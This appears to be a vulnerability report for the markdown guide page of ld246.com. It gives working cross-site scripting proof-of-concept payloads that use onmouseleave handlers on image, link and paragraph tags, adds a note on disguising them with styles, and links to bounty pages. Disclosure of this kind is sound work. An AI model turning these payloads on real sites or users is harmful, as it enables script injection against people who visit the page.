XSS 安全漏洞

[Vanessa219]

PoC :

<input autofocus>
<img src=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png onmouseleave=alert('XSS')>

Steps:

1.Open the https://ld246.com/guide/markdown
2.Enter the XSS PoC
3.When the user hovers the mouse away from the picture, XSS is triggered via a mouse event.
some other tags are also be affected such as p, a, svg, etc.

<input autofocus>
<a src=1 onmouseleave=alert('XSS')>This is a XSS link</a>

<input autofocus>
<p src=1 onmouseleave=alert('XSS')>This is a XSS textarea</p>
...

It also can add any styles to disguise such as size, color, etc.

<input autofocus>
<p src=1 onmouseleave=alert('XSS') style="font-size: 200%;color: green;">here are a large textarea</p>

[Vanessa219]

https://huntr.dev/bounties/3ffa396d-75e1-45a3-acb9-c9bcefd9bed1/
https://huntr.dev/bounties/834b29f3-60cd-4295-9f91-a82b2d605c5d/